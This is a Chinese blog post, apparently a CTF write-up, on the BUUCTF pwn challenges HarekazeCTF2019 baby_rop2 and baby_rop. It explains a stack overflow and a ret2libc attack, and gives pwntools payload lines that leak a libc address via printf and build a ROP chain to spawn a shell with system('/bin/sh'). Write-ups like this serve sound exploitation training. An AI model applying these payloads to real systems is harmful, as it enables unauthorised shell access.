[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

本文讲述了在HarekazeCTF2019的比赛中,作者通过IDA反汇编发现一个64位NX保护的程序存在栈溢出漏洞,利用printf函数泄露libc基址并构建rop链,最终实现system调用的exploit过程。
摘要由CSDN通过智能技术生成

下载附件,保护开nx

首先ida64打开,

 char buf[28]; // [rsp+0h] [rbp-20h] BYREF

 v5 = read(0, buf, 0x100uLL);

这里定义buf是0x20个字符,但read0x100ull,明显存在栈溢出这是本题的关键

接下来确定解题思路:泄露libc基址,基址加各函数偏移得到该函数真实地址,目标获得system(/bin/sh)

  1. 泄露libc基址:

payload=b'a'*(0x28)+p64(pop_rdi)+p64(0x400770)+p64(pop_rsi_r15)+p64(0)+p64(elf.got['read'])+p64(elf.plt['printf'])+p64(elf.sym['main'])

这里说明,选择printf函数打印read的真实地址,printf有两个参数哦,因此应该用rdi和rsi寄存器的但是并没有单独的rsi供我们使用,嗦一qwp,用rsi加r15,在后面输入参数时r15的参数给成0就可以了。还有为什么用0x400770这个地址

printf有两个参数

int printf( const char* format , [argument] ... )格式

举个例子–>print(’%s’,‘hello world’)

必须是%s的形式因此用该地址,最后返回到main函数为下次栈溢出准备

接收read真实地址:print(hex(read_addr))

接收的方式有多种:

read_addr = u64(p.recv(6).ljust(8, b'\x00'))

read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

read_addr=u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))

最适用的是第二个

计算libc_base:  libc_base=read_addr-libc.sym['read']

  1. 计算system地址:system=libc_base+libc.sym['system']

计算/bin/sh地址:bin_=libc_base+libc.search(b"/bin/sh\x00").__next__()

  1. 最后构造rop链:payload=b'a'*(0x20+8)+p64(ret_addr)+p64(rdi)+p64(bin_)+p64(system)结束

[BUUCTF]PWN——[HarekazeCTF2019]baby_rop

例行检查,只开nx,64位

ida反编译进入main函数

进入vuln函数

 char buf[32]; // [rsp+0h] [rbp-20h] BYREF

 return read(0, buf, 0x64uLL);

明显存在栈溢出

Shift+f12查看有无后门,其实从名字看就知道没有

很明显没有后门

整理思路:利用ret2libc找后门

这里直接上exp吧

这里利用puts函数泄露libc基址,libc加偏移就是个函数的真实地址

在打远程时出现报错

timeout: the monitored command dumped core\n

一般是因为栈未对齐,在第二个payload前加ret使其栈对齐,本题报错并不是因为这个问题,很奇怪第一次打的时候报错,刷新后再打就通了。

[HarekazeCTF2019]baby_rop1

例行检查

64位,nx保护

Shift+f12查看有无后门

存在后门

上exp

libc库如何找,buuctf会提供,在资源界面

初学pwn,小菜鸡一个,欢迎大佬指正。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值